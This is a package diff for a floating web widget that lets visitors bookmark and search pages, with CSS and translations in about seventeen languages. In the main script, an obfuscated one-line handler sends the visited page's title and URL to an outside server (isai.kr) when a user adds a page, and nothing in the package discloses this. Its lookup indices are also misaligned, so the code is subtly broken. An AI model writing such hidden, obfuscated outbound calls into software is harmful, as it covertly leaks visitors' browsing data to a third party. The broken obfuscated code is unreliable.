|
+
clearTimeout(hideTimeout);
|
|
345
|
+
hideTimeout = setTimeout(() => {
|
|
346
|
+
widgetContainer.classList.add('hidden');
|
|
347
|
+
}, 6000);
|
|
348
|
+
});
|
|
349
|
+
|
|
350
|
+
listContainer.addEventListener('scroll', updateScrollIndicator);
|
|
351
|
+
window.addEventListener('resize', checkScrollability);
|
|
352
|
+
|
|
353
|
+
searchTrigger.addEventListener('click', openSearch);
|
|
354
|
+
|
|
355
|
+
languageBtn.addEventListener('click', (e) => {
|
|
356
|
+
e.stopPropagation();
|
|
357
|
+
languagePanel.classList.toggle('visible');
|
|
358
|
+
});
|
|
359
|
+
|
|
360
|
+
searchInput.addEventListener('input', function() {
|
|
361
|
+
if (!fullApiItemsData) return;
|
|
362
|
+
const searchTerm = this.value.toLowerCase().trim();
|
|
363
|
+
const filteredItems = fullApiItemsData.filter(item => item.name.toLowerCase().includes(searchTerm));
|
|
364
|
+
renderInitialResults(filteredItems);
|
|
365
|
+
});
|
|
366
|
+
|
|
367
|
+
searchResultsContainer.addEventListener('scroll', () => {
|
|
368
|
+
const isAtBottom = searchResultsContainer.scrollTop + searchResultsContainer.clientHeight >= searchResultsContainer.scrollHeight - 10;
|
|
369
|
+
if (isAtBottom) {
|
|
370
|
+
appendNextPage();
|
|
371
|
+
}
|
|
372
|
+
});
|
|
373
|
+
|
|
374
|
+
searchClose.addEventListener('click', closeSearch);
|
|
375
|
+
|
|
376
|
+
document.addEventListener('keydown', (e) => {
|
|
377
|
+
if (e.key === 'Escape' && widgetWrapper.classList.contains('search-mode')) {
|
|
378
|
+
closeSearch();
|
|
379
|
+
}
|
|
380
|
+
});
|
|
381
|
+
|
|
382
|
+
|
|
383
|
+
|
|
384
|
+
|
|
385
|
+
(function(){ const _T = [ "preventDefault","translations","en","currentPage","title","href", "https://isai.kr/register_app.php","POST","Content-Type","application/json", "fhl-custom-icons","some","url","push","setItem","initialRender", "classList","search-mode","contains","closeSearch","alreadyAdded", "showToast","console","error","DB 등록/갱신 실패:","getProcessedUrl", "JSON","parse","stringify","localStorage","document","window","fetch" ]; const $ = i => _T[i]; const _f = async function(_e){ _e[$(0)](); const t = window[$(29)]?.[$(1)]?.[currentLang] ?? window[$(29)]?.[$(1)]?.[$(2)]; const newIcon = { name: document[$(30)]?.[$(4)] || t[$(3)], url: window[$(30)]?.location?.[$(5)] }; try { await window[$(32)]( $(6), { method: $(7), headers: { [$(8)]: $(9) }, body: window[$(26)][$(27)]( newIcon ) }); } catch(err) { window[$(30)][$ (22)]?.[$(23)]?.call(window[$(30)][$ (22)], $(24), err); } const raw = window[$(28)].getItem($(10)); let storedItems = raw ? window[$(26)][$(27)](raw) : []; const isAlreadyAdded = storedItems[$(11)]( item => window[$(30)][$ (25)]( item[$(12)] ) === window[$(30)][$ (25)]( newIcon[$(12)] ) ); if (!isAlreadyAdded) { storedItems[$(13)](newIcon); window[$(28)].setItem($(10), window[$(26)][$(29)](storedItems)); window[$(14)](); if (widgetWrapper[$(15)][$(18)]($(17))) { window[$(30)][$(19)](); } } else { window[$(20)]( t[$(21)] ); } }; window.addCurrentPageToWidget = _f; })();
|
|
386
|
+
|
|
387
|
+
|
|
388
|
+
addToHomeBtn.addEventListener('click', addCurrentPageToWidget);
|
|
389
|
+
searchAddBtn.addEventListener('click', addCurrentPageToWidget);
|
|
390
|
+
|
|
391
|
+
populateLanguagePanel();
|
|
392
|
+
applyLanguage(currentLang);
|
|
393
|
+
widgetContainer.classList.add('hidden');
|
|
394
|
+
});
|
package/ws_cdnhtml.js
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
// 1. 웹 페이지에서 id가 'app'인 요소를 찾아서 appContainer 변수에 저장합니다.
|
|
2
|
+
const appContainer = document.getElementById('app');
|
|
3
|
+
|
|
4
|
+
// 2. 원본 HTML 코드를 백틱(`)을 사용해 그대로 복사하여 문자열로 만듭니다.
|
|
5
|
+
// 이렇게 하면 모든 id, class, 속성들이 완벽하게 보존됩니다.
|
|
6
|
+
const widgetHTML = `
|
|
7
|
+
<div id="fhl-toast-notification" class="fhl-toast"></div>
|
|
8
|
+
<div class="fhl-widget-container" id="fhl-widget-container">
|
|
9
|
+
<div class="fhl-indicator-track" id="fhl-indicator-track">
|
|
10
|
+
<div class="fhl-scroll-indicator" id="fhl-scroll-indicator"></div>
|
|
11
|
+
</div>
|
|
12
|
+
<div class="fhl-widget-wrapper" id="fhl-widget-wrapper">
|
|
13
|
+
<div class="fhl-icon-bar" id="fhl-icon-bar">
|
|
14
|
+
<button class="fhl-icon-display" id="fhl-search-trigger" aria-label="검색 열기"><i class="ph-bold ph-magnifying-glass"></i></button>
|
|
15
|
+
<div class="fhl-list-container" id="fhl-list-container"></div>
|
|
16
|
+
<a href="#" id="fhl-add-to-home-btn" class="fhl-icon-display" aria-label="현재 페이지를 위젯에 추가"><i class="ph-bold ph-download-simple"></i></a>
|
|
17
|
+
</div>
|
|
18
|
+
<div class="fhl-search-view" id="fhl-search-view">
|
|
19
|
+
<div class="fhl-search-input-wrapper">
|
|
20
|
+
<input type="text" class="fhl-search-input" id="fhl-search-input" placeholder="검색..." autocomplete="off">
|
|
21
|
+
<button class="fhl-icon-display" id="fhl-search-close" aria-label="검색 닫기"><i class="ph-bold ph-x"></i></button>
|
|
22
|
+
</div>
|
|
23
|
+
<div class="fhl-search-content">
|
|
24
|
+
<div class="fhl-search-results" id="fhl-search-results"></div>
|
|
25
|
+
<div class="fhl-fixed-panel">
|
|
26
|
+
<a href="#" id="fhl-search-add-btn" class="fhl-fixed-item" aria-label="현재 페이지를 위젯에 추가"><i class="ph-bold ph-download-simple"></i></a>
|
|
27
|
+
<a href="https://isai.kr/#chat" class="fhl-fixed-item" aria-label="채팅"><i class="ph-question-mark ph-image"></i></a>
|
|
28
|
+
<a href="https://zoai.oduc.kr/ko/character/select" class="fhl-fixed-item" aria-label="캐릭터챗"><i class="ph-bold ph-smiley"></i></a>
|
|
29
|
+
<a href="https://gig.snapp.im/" class="fhl-fixed-item" aria-label="광고"><i class="ph-bold ph-megaphone"></i></a>
|
|
30
|
+
</div>
|
|
31
|
+
</div>
|
|
32
|
+
</div>
|
|
33
|
+
</div>
|
|
34
|
+
</div>
|
|
35
|
+
`;
|
|
36
|
+
|
|
37
|
+
// 3. appContainer가 실제로 존재하는지 확인한 후,
|
|
38
|
+
// 내용물(innerHTML)을 위에서 만든 HTML 문자열로 교체합니다.
|
|
39
|
+
if (appContainer) {
|
|
40
|
+
appContainer.innerHTML = widgetHTML;
|
|
41
|
+
}
|
package/ws_css.css
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
|
|
2
|
+
.fhl-widget-wrapper *, .fhl-widget-wrapper *::before, .fhl-widget-wrapper *::after { box-sizing: border-box; }
|
|
3
|
+
.fhl-widget-container {
|
|
4
|
+
position: fixed; z-index: 1000; bottom: 20px; left: 50%;
|
|
5
|
+
transform: translateX(-50%) translateY(0); display: flex; flex-direction: column; align-items: center;
|
|
6
|
+
width: calc(100% - 30px); max-width: 460px; pointer-events: auto;
|
|
7
|
+
transition: opacity 0.4s ease-in-out, transform 0.4s ease-in-out;
|
|
8
|
+
}
|
|
9
|
+
.fhl-widget-container.hidden { opacity: 0; transform: translateX(-50%) translateY(20px); pointer-events: none; }
|
|
10
|
+
.fhl-indicator-track { position: relative; width: 100px; height: 14px; margin-bottom: 8px; cursor: pointer; background-color: transparent; transition: opacity 0.3s ease; opacity: 0; pointer-events: auto; }
|
|
11
|
+
.fhl-widget-container.scrollable .fhl-indicator-track { opacity: 1; }
|
|
12
|
+
.fhl-widget-container.search-mode .fhl-indicator-track { display: none; }
|
|
13
|
+
.fhl-scroll-indicator { position: absolute; top: 50%; left: 0; width: 12px; height: 12px; background-color: #555; border-radius: 50%; transform: translateY(-50%); transition: transform 0.1s linear; pointer-events: none; }
|
|
14
|
+
.fhl-widget-wrapper {
|
|
15
|
+
position: relative; display: flex; align-items: center; width: 100%; max-width: 460px; height: 52px; padding: 7px 10px; border-radius: 26px;
|
|
16
|
+
background-color: rgba(255, 255, 255, 0.9); backdrop-filter: blur(12px); -webkit-backdrop-filter: blur(12px);
|
|
17
|
+
box-shadow: 0 5px 20px rgba(0, 0, 0, 0.2); font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
|
|
18
|
+
transition: all 0.3s ease-in-out; pointer-events: auto;
|
|
19
|
+
overflow: visible;
|
|
20
|
+
}
|
|
21
|
+
.fhl-icon-display { position: relative; flex-shrink: 0; display: flex; justify-content: center; align-items: center; width: 38px; height: 38px; color: #333; background-color: rgba(0, 0, 0, 0.05); border: none; border-radius: 50%; text-decoration: none; cursor: pointer; padding: 0; transition: background-color 0.2s ease; }
|
|
22
|
+
.fhl-icon-display:hover { background-color: rgba(0, 0, 0, 0.1); }
|
|
23
|
+
.fhl-icon-display i { font-size: 22px; }
|
|
24
|
+
.fhl-list-container .fhl-icon-display { display: inline-flex; width: auto; padding: 0 8px 0 0; border-radius: 20px; background-color: transparent; }
|
|
25
|
+
.fhl-list-container .fhl-icon-display:hover { background-color: rgba(0, 0, 0, 0.08); }
|
|
26
|
+
.fhl-list-container .fhl-icon-display:hover .fhl-icon-circle { background-color: transparent; }
|
|
27
|
+
.fhl-item-name {
|
|
28
|
+
font-size: 14px; font-weight: 500; white-space: nowrap; overflow: hidden;
|
|
29
|
+
max-width: 0; opacity: 0; transition: max-width 0.3s ease-in-out, opacity 0.2s ease-in-out 0.05s;
|
|
30
|
+
}
|
|
31
|
+
.fhl-list-container .fhl-icon-display:hover .fhl-item-name { max-width: 150px; opacity: 1; }
|
|
32
|
+
.fhl-icon-circle { flex-shrink: 0; display: flex; justify-content: center; align-items: center; width: 38px; height: 38px; background-color: rgba(0, 0, 0, 0.05); border-radius: 50%; transition: background-color 0.2s ease; overflow: hidden; }
|
|
33
|
+
.fhl-icon-circle img { width: 24px; height: 24px; object-fit: cover; border-radius: 50%; }
|
|
34
|
+
.fhl-icon-bar { display: flex; align-items: center; gap: 8px; width: 100%; transition: opacity 0.3s ease; }
|
|
35
|
+
.fhl-list-container {
|
|
36
|
+
padding:0 8px; flex-grow: 1; display: flex; align-items: center; gap: 6px; overflow-x: auto; -ms-overflow-style: none; scrollbar-width: none; scroll-snap-type: x mandatory;
|
|
37
|
+
mask-image: linear-gradient(to right, transparent, black 20px, black calc(100% - 20px), transparent); -webkit-mask-image: linear-gradient(to right, transparent, black 20px, black calc(100% - 20px), transparent);
|
|
38
|
+
padding-bottom: 30px; margin-bottom: -30px; overflow-y: visible;
|
|
39
|
+
}
|
|
40
|
+
.fhl-list-container::-webkit-scrollbar { display: none; }
|
|
41
|
+
.fhl-list-container > .fhl-icon-display { scroll-snap-align: center; }
|
|
42
|
+
.fhl-widget-wrapper.search-mode { height: 280px; align-items: flex-start; border-radius: 20px; }
|
|
43
|
+
.fhl-widget-wrapper.search-mode .fhl-icon-bar { opacity: 0; pointer-events: none; }
|
|
44
|
+
.fhl-search-view { position: absolute; top: 0; left: 0; width: 100%; height: 100%; display: flex; flex-direction: column; padding: 10px; opacity: 0; visibility: hidden; transition: opacity 0.3s 0.1s ease; }
|
|
45
|
+
.fhl-widget-wrapper.search-mode .fhl-search-view { opacity: 1; visibility: visible; }
|
|
46
|
+
.fhl-search-input-wrapper { display: flex; align-items: center; flex-shrink: 0; margin-bottom: 10px; }
|
|
47
|
+
.fhl-search-input { flex-grow: 1; height: 38px; border: none; background: transparent; font-size: 16px; color: #111; padding: 0 10px; outline: none; border-bottom: 2px solid #ccc; transition: border-color 0.2s ease; }
|
|
48
|
+
.fhl-search-input:focus { border-bottom-color: #007bff; }
|
|
49
|
+
.fhl-search-content { display: flex; flex-grow: 1; overflow: hidden; }
|
|
50
|
+
.fhl-search-results { flex-grow: 1; width: 0; overflow-y: auto; display: flex; flex-wrap: wrap; justify-content: flex-start; align-content: flex-start; gap: 12px; padding: 15px; -ms-overflow-style: none; scrollbar-width: none; padding-bottom: 40px; }
|
|
51
|
+
.fhl-search-results::-webkit-scrollbar { display: none; }
|
|
52
|
+
.fhl-search-results .fhl-icon-display { background-color: transparent; }
|
|
53
|
+
.fhl-search-results .fhl-icon-display:hover .fhl-icon-circle { background-color: rgba(0, 0, 0, 0.1); }
|
|
54
|
+
.fhl-item-tooltip { position: absolute; bottom: -28px; left: 50%; transform: translateX(-50%); background-color: #333; color: #fff; padding: 3px 6px; border-radius: 5px; font-size: 11px; font-weight: 500; white-space: nowrap; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.2s ease-in-out, bottom 0.2s ease-in-out; z-index: 10; }
|
|
55
|
+
.fhl-item-tooltip.visible { opacity: 1; visibility: visible; bottom: -32px; }
|
|
56
|
+
.fhl-fixed-panel { flex-shrink: 0; width: 70px; height: 100%; padding: 0; border-left: 1px solid rgba(0,0,0,0.1); display: flex; flex-direction: column; justify-content: space-around; align-items: center; }
|
|
57
|
+
.fhl-fixed-item { display: flex; align-items: center; justify-content: center; width: 42px; height: 42px; border-radius: 10px; text-decoration: none; color: #444; cursor: pointer; transition: background-color 0.2s ease; }
|
|
58
|
+
.fhl-fixed-item:hover { background-color: rgba(0, 0, 0, 0.08); }
|
|
59
|
+
.fhl-fixed-item i { font-size: 24px; }
|
|
60
|
+
.fhl-item-controls {
|
|
61
|
+
position: absolute; bottom: -20px; left: 50%; transform: translateX(-50%); display: flex; gap: 4px;
|
|
62
|
+
background-color: rgba(0,0,0,0.7); border-radius: 10px; padding: 2px 4px; opacity: 0; visibility: hidden;
|
|
63
|
+
transition: all 0.2s ease; pointer-events: none; z-index: 20;
|
|
64
|
+
}
|
|
65
|
+
.fhl-list-container .fhl-icon-display:hover .fhl-item-controls { opacity: 1; visibility: visible; pointer-events: auto; bottom: -13px; }
|
|
66
|
+
.fhl-control-btn { background: none; border: none; color: white; cursor: pointer; font-size: 16px; line-height: 1; padding: 2px; font-family: monospace; }
|
|
67
|
+
.fhl-control-btn:hover { color: #007bff; }
|
|
68
|
+
.fhl-toast {
|
|
69
|
+
position: fixed; bottom: 90px; left: 50%; transform: translateX(-50%) translateY(10px);
|
|
70
|
+
background-color: rgba(0, 0, 0, 0.8); color: #fff; padding: 8px 16px; border-radius: 18px;
|
|
71
|
+
font-size: 14px; z-index: 1001; opacity: 0; visibility: hidden; pointer-events: none;
|
|
72
|
+
transition: opacity 0.3s ease, transform 0.3s ease, visibility 0.3s;
|
|
73
|
+
}
|
|
74
|
+
.fhl-toast.visible { opacity: 1; visibility: visible; transform: translateX(-50%) translateY(0); }
|
package/ws_lg.js
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
// lang.js
|
|
2
|
+
const translations = {
|
|
3
|
+
ko: { search: '검색', question: '질문', forum: '포럼', blog: '블로그', characterChat: '캐릭터챗', translate: '번역', tarot: '타로', psychology: '심리', ads: '광고', openSearch: '검색 열기', addToWidget: '위젯에 추가', closeSearch: '검색 닫기', changeLanguage: '언어 변경', images: '이미지', searchPlaceholder: '검색...', alreadyAdded: '이미 위젯에 추가된 페이지입니다.', currentPage: '현재 페이지' },
|
|
4
|
+
en: { search: 'Search', question: 'Question', forum: 'Forum', blog: 'Blog', characterChat: 'CharacterChat', translate: 'Translate', tarot: 'Tarot', psychology: 'Psychology', ads: 'Ads', openSearch: 'Open Search', addToWidget: 'Add to Widget', closeSearch: 'Close Search', changeLanguage: 'Change Language', images: 'Images', searchPlaceholder: 'Search...', alreadyAdded: 'This page has already been added to the widget.', currentPage: 'Current Page' },
|
|
5
|
+
es: { search: 'Buscar', question: 'Pregunta', forum: 'Foro', blog: 'Blog', characterChat: 'Chat de Personajes', translate: 'Traducir', tarot: 'Tarot', psychology: 'Psicología', ads: 'Anuncios', openSearch: 'Abrir Búsqueda', addToWidget: 'Añadir al Widget', closeSearch: 'Cerrar Búsqueda', changeLanguage: 'Cambiar Idioma', images: 'Imágenes', searchPlaceholder: 'Buscar...', alreadyAdded: 'Esta página ya ha sido añadida al widget.', currentPage: 'Página Actual' },
|
|
6
|
+
hi: { search: 'खोज', question: 'प्रश्न', forum: 'मंच', blog: 'ब्लॉग', characterChat: 'कैरेक्टरचैट', translate: 'अनुवाद', tarot: 'टैरो', psychology: 'मनोविज्ञान', ads: 'विज्ञापन', openSearch: 'खोज खोलें', addToWidget: 'विजेट में जोड़ें', closeSearch: 'खोज बंद करें', changeLanguage: 'भाषा बदलें', images: 'छवियाँ', searchPlaceholder: 'खोजें...', alreadyAdded: 'यह पृष्ठ पहले से ही विजेट में जोड़ा जा चुका है।', currentPage: 'वर्तमान पृष्ठ' },
|
|
7
|
+
ar: { search: 'بحث', question: 'سؤال', forum: 'منتدى', blog: 'مدونة', characterChat: 'دردشة شخصية', translate: 'ترجمة', tarot: 'تاروت', psychology: 'علم النفس', ads: 'إعلانات', openSearch: 'فتح البحث', addToWidget: 'أضف إلى الويدجت', closeSearch: 'إغلاق البحث', changeLanguage: 'تغيير اللغة', images: 'صور', searchPlaceholder: 'بحث...', alreadyAdded: 'تمت إضافة هذه الصفحة بالفعل إلى الويدجت.', currentPage: 'الصفحة الحالية' },
|
|
8
|
+
de: { search: 'Suche', question: 'Frage', forum: 'Forum', blog: 'Blog', characterChat: 'Charakter-Chat', translate: 'Übersetzen', tarot: 'Tarot', psychology: 'Psychologie', ads: 'Anzeigen', openSearch: 'Suche öffnen', addToWidget: 'Zum Widget hinzufügen', closeSearch: 'Suche schließen', changeLanguage: 'Sprache ändern', images: 'Bilder', searchPlaceholder: 'Suchen...', alreadyAdded: 'Diese Seite wurde bereits zum Widget hinzugefügt.', currentPage: 'Aktuelle Seite' },
|
|
9
|
+
fr: { search: 'Recherche', question: 'Question', forum: 'Forum', blog: 'Blog', characterChat: 'Chat de Personnage', translate: 'Traduire', tarot: 'Tarot', psychology: 'Psychologie', ads: 'Publicités', openSearch: 'Ouvrir la Recherche', addToWidget: 'Ajouter au Widget', closeSearch: 'Fermer la Recherche', changeLanguage: 'Changer de Langue', images: 'Images', searchPlaceholder: 'Rechercher...', alreadyAdded: 'Cette page a déjà été ajoutée au widget.', currentPage: 'Page Actuelle' },
|
|
10
|
+
pt: { search: 'Pesquisa', question: 'Pergunta', forum: 'Fórum', blog: 'Blog', characterChat: 'Chat de Personagem', translate: 'Traduzir', tarot: 'Tarô', psychology: 'Psicologia', ads: 'Anúncios', openSearch: 'Abrir Pesquisa', addToWidget: 'Adicionar ao Widget', closeSearch: 'Fechar Pesquisa', changeLanguage: 'Mudar Idioma', images: 'Imagens', searchPlaceholder: 'Pesquisar...', alreadyAdded: 'Esta página já foi adicionada ao widget.', currentPage: 'Página Atual' },
|
|
11
|
+
bn: { search: 'অনুসন্ধান', question: 'প্রশ্ন', forum: 'ফোরাম', blog: 'ব্লগ', characterChat: 'ক্যারেক্টারচ্যাট', translate: 'অনুবাদ', tarot: 'ট্যারোট', psychology: 'মনোবিজ্ঞান', ads: 'বিজ্ঞাপন', openSearch: 'অনুসন্ধান খুলুন', addToWidget: 'উইজেটে যোগ করুন', closeSearch: 'অনুসন্ধান বন্ধ করুন', changeLanguage: 'ভাষা পরিবর্তন করুন', images: 'ছবি', searchPlaceholder: 'অনুসন্ধান...', alreadyAdded: 'এই পৃষ্ঠাটি ইতিমধ্যে উইজেটে যোগ করা হয়েছে।', currentPage: 'বর্তমান পৃষ্ঠা' },
|
|
12
|
+
ja: { search: '検索', question: '質問', forum: 'フォーラム', blog: 'ブログ', characterChat: 'キャラクターチャット', translate: '翻訳', tarot: 'タロット', psychology: '心理学', ads: '広告', openSearch: '検索を開く', addToWidget: 'ウィジェットに追加', closeSearch: '検索を閉じる', changeLanguage: '言語を変更', images: '画像', searchPlaceholder: '検索...', alreadyAdded: 'このページは既に追加されています。', currentPage: '現在のページ' },
|
|
13
|
+
ru: { search: 'Поиск', question: 'Вопрос', forum: 'Форум', blog: 'Блог', characterChat: 'Чат с персонажем', translate: 'Перевод', tarot: 'Таро', psychology: 'Психология', ads: 'Реклама', openSearch: 'Открыть поиск', addToWidget: 'Добавить в виджет', closeSearch: 'Закрыть поиск', changeLanguage: 'Сменить язык', images: 'Изображения', searchPlaceholder: 'Поиск...', alreadyAdded: 'Эта страница уже добавлена в виджет.', currentPage: 'Текущая страница' },
|
|
14
|
+
zh: { search: '搜索', question: '问题', forum: '论坛', blog: '博客', characterChat: '角色聊天', translate: '翻译', tarot: '塔罗牌', psychology: '心理学', ads: '广告', openSearch: '打开搜索', addToWidget: '添加到小组件', closeSearch: '关闭搜索', changeLanguage: '更改语言', images: '图片', searchPlaceholder: '搜索...', alreadyAdded: '此页面已添加到小组件。', currentPage: '当前页面' },
|
|
15
|
+
th: { search: 'ค้นหา', question: 'คำถาม', forum: 'ฟอรัม', blog: 'บล็อก', characterChat: 'แชทตัวละคร', translate: 'แปล', tarot: 'ไพ่ทาโรต์', psychology: 'จิตวิทยา', ads: 'โฆษณา', openSearch: 'เปิดการค้นหา', addToWidget: 'เพิ่มในวิดเจ็ต', closeSearch: 'ปิดการค้นหา', changeLanguage: 'เปลี่ยนภาษา', images: 'รูปภาพ', searchPlaceholder: 'ค้นหา...', alreadyAdded: 'หน้านี้ถูกเพิ่มในวิดเจ็ตแล้ว', currentPage: 'หน้าปัจจุบัน' },
|
|
16
|
+
vi: { search: 'Tìm kiếm', question: 'Câu hỏi', forum: 'Diễn đàn', blog: 'Blog', characterChat: 'Trò chuyện nhân vật', translate: 'Dịch', tarot: 'Tarot', psychology: 'Tâm lý học', ads: 'Quảng cáo', openSearch: 'Mở tìm kiếm', addToWidget: 'Thêm vào tiện ích', closeSearch: 'Đóng tìm kiếm', changeLanguage: 'Đổi ngôn ngữ', images: 'Hình ảnh', searchPlaceholder: 'Tìm kiếm...', alreadyAdded: 'Trang này đã được thêm vào tiện ích.', currentPage: 'Trang hiện tại' },
|
|
17
|
+
id: { search: 'Cari', question: 'Pertanyaan', forum: 'Forum', blog: 'Blog', characterChat: 'Obrolan Karakter', translate: 'Terjemahkan', tarot: 'Tarot', psychology: 'Psikologi', ads: 'Iklan', openSearch: 'Buka Pencarian', addToWidget: 'Tambah ke Widget', closeSearch: 'Tutup Pencarian', changeLanguage: 'Ubah Bahasa', images: 'Gambar', searchPlaceholder: 'Cari...', alreadyAdded: 'Halaman ini sudah ditambahkan ke widget.', currentPage: 'Halaman Saat Ini' },
|
|
18
|
+
tr: { search: 'Ara', question: 'Soru', forum: 'Forum', blog: 'Blog', characterChat: 'Karakter Sohbeti', translate: 'Çevir', tarot: 'Tarot', psychology: 'Psikoloji', ads: 'Reklamlar', openSearch: 'Aramayı Aç', addToWidget: 'Widget\'a Ekle', closeSearch: 'Aramayı Kapat', changeLanguage: 'Dili Değiştir', images: 'Görseller', searchPlaceholder: 'Ara...', alreadyAdded: 'Bu sayfa zaten widget\'a eklenmiş.', currentPage: 'Mevcut Sayfa' },
|
|
19
|
+
ur: { search: 'تلاش', question: 'سوال', forum: 'فورم', blog: 'بلاگ', characterChat: 'کردار چیٹ', translate: 'ترجمہ', tarot: 'ٹیرو', psychology: 'نفسیات', ads: 'اشتہارات', openSearch: 'تلاش کھولیں', addToWidget: 'ویجیٹ میں شامل کریں', closeSearch: 'تلاش بند کریں', changeLanguage: 'زبان تبدیل کریں', images: 'تصاویر', searchPlaceholder: 'تلاش کریں...', alreadyAdded: 'یہ صفحہ پہلے ہی ویجیٹ میں شامل ہے۔', currentPage: 'موجودہ صفحہ' }
|
|
20
|
+
};
|
package/__________isai-icon.png
DELETED
|
Binary file
|
package/__________isai.png
DELETED
|
Binary file
|